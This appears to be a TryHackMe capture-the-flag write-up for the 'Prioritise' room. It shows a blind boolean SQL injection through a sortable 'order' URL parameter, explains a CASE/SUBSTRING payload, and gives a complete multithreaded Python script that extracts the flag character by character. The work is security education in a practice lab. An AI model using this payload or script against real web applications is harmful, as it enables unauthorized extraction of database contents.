Prioritise (TryHackMe) writeup
TryHackMe Room : https://tryhackme.com/r/room/prioritise
In order to assess the security posture of the network, the first step is to scan the ports using the nmap tool.
nmap -sV -Pn <target-ip>
A vulnerability scan reveals that port 80 is open, indicating an active HTTP service.The web application’s user interface includes a form element with the label “Add a new item” that accepts a text input.
As depicted in the image, clicking the “Sort” button allows us to order tasks based on various criteria such as title, date, etc. When we change the sorting criteria, the new value is reflected in the URL. Upon modifying the order=title
parameter to some SQL comments
, it was observed that no data was altered, indicating that the order
parameter is susceptible to SQL injection.
To exploit the SQL injection vulnerability, we will attempt to append ‘DESC’ to the ‘order by’ parameter. If the system processes this input without errors, it confirms the presence of a vulnerability that we can leverage for further attacks.
By using ‘DESC’, we exploit the system’s expectation of a column name for sorting. If the system allows ‘DESC’ or other SQL commands in this context, it indicates a vulnerability that could be exploited for malicious purposes.
Consider the following SQL query executed on the backend: SELECT * FROM tasks ORDER BY 'user_input'
, where 'user_input' is a variable provided by the user. This query will retrieve all tasks and order them based on the value of 'user_input', which could potentially lead to SQL injection vulnerabilities if not properly sanitized.
Using SQL CASE Statements for Data Extraction
Technique Overview: The SQL CASE technique allows you to manipulate SQL queries based on conditions to extract data, often used in SQL Injection attacks. By leveraging the CASE statement, you can craft queries to determine the values of specific fields by exploiting the order or sorting functionality in a vulnerable application.
How It Works:
Understanding the CASE Statement:
- The SQL CASE statement lets you perform conditional logic within your queries.
- Syntax :
CASE
WHEN condition1 THEN result1
WHEN condition2 THEN result2
ELSE default_result
END
It evaluates conditions sequentially and returns the result for the first true condition. If no conditions are true, it returns the result defined in the ELSE clause.
Applying the CASE Statement in SQL Injection:
Payload Construction:
http://1<target-ip>/?order=(CASE WHEN (SELECT (SUBSTRING(flag,1,1)) from flag) = 'a' then title else date end) ASC
Explanation:
- The payload uses the
SUBSTRING()
function to extract a specific part of a string from a database column. - In this case,
SUBSTRING(flag,1,1)
extracts the first character from theflag
column in theflag
table. - The payload checks if this extracted character equals ‘a’. If true, the results are sorted by the
title
column; otherwise, they are sorted by thedate
column. - This method helps in determining the value of the first character of the
flag
column by observing how the sorting changes based on different values tested.
Using Hit and Trial:
- By varying the character in the condition and observing changes in the output sorting, attackers can infer the correct value.
- This technique is useful for extracting data character by character.
Let’s try this approach: keep changing the letter ‘a’ in the condition to all possible characters until the sorting is done based on the title
parameter.
If we modify the data to ‘f’, the sorting criteria will switch to title
column. Consequently, the first character we’re looking for is ‘f
We can extract the entire flag using the hit-and-trial method, but for now, we will continue doing this manually!
Next, Create a Python script that will automatically perform this function.
import requests as req
import string
import concurrent.futures
url = 'http://<target-ip>/?order='
yes = req.get(url + "title").text
def check(counter, c):
query = f'(CASE WHEN (SELECT SUBSTRING(flag,1,{counter}) FROM flag)="{flag+c}" THEN title ELSE date END)'
try:
res = req.get(url + query, timeout=10).text # เพิ่ม timeout
except req.exceptions.RequestException as e: # ใช้ชื่อโมดูลที่ถูกต้อง
print(f"Request failed: {e}")
return None
if res == yes:
return c
return None
flag = ""
counter = 1
chars = string.ascii_letters + string.digits + "{}"
while True:
with concurrent.futures.ThreadPoolExecutor() as executor:
results = [executor.submit(check, counter, c) for c in chars]
found = False
for future in concurrent.futures.as_completed(results):
result = future.result()
if result:
flag += result
print("[+] Current Flag is", flag)
counter += 1
found = True
break
if not found:
print("No more characters found, exiting.")
break
if flag[-1] == "}":
print("[+] Final Flag is", flag)
break
Brief Explanation of the Code
Imports:
requests
for HTTP requests.string
for generating the character set to test.concurrent.futures
for parallel execution of tasks.
Setup:
url = 'http://<target-ip>/?order='
yes = req.get(url + "title").text
- Define the target URL.
- Perform an initial HTTP request to get the response when sorting by
title
for comparison.
Function check
:
def check(counter, c):
query = f'(CASE WHEN (SELECT SUBSTRING(flag,1,{counter}) FROM flag)="{flag+c}" THEN title ELSE date END)'
try:
res = req.get(url + query, timeout=10).text
except req.exceptions.RequestException as e:
print(f"Request failed: {e}")
return None
if res == yes:
return c
return None
- Constructs an SQL query using the
CASE
statement to test if the current substring offlag
matches a given characterc
. - Compares the result of the query with the initial response (
yes
). - Returns the character
c
if the result matches, otherwise returnsNone
.
Main Loop:
flag = ""
counter = 1
chars = string.ascii_letters + string.digits + "{}"
while True:
with concurrent.futures.ThreadPoolExecutor() as executor:
results = [executor.submit(check, counter, c) for c in chars]
found = False
for future in concurrent.futures.as_completed(results):
result = future.result()
if result:
flag += result
print("[+] Current Flag is", flag)
counter += 1
found = True
break
if not found:
print("No more characters found, exiting.")
break
if flag[-1] == "}":
print("[+] Final Flag is", flag)
break
- Iterates through all possible characters (
chars
) to find the correct one. - Uses
ThreadPoolExecutor
to run multiple checks in parallel for efficiency. - Updates the
flag
with the correct character and continues until the flag is fully extracted or no more characters are found. - Stops when the flag ends with a closing brace (
}
), indicating completion.
Finally, to run the Python script and start the process of extracting the flag, use the command:
python3 exploit.py
This command executes the Python script named exploit.py
, which automates the SQL injection attack to extract the flag by testing different characters and observing the sorting behavior.
ପ( •̤ᴗ•̤ )੭⁾⁾.。.:✽・゚+ Great job! You’ve successfully extracted the flag!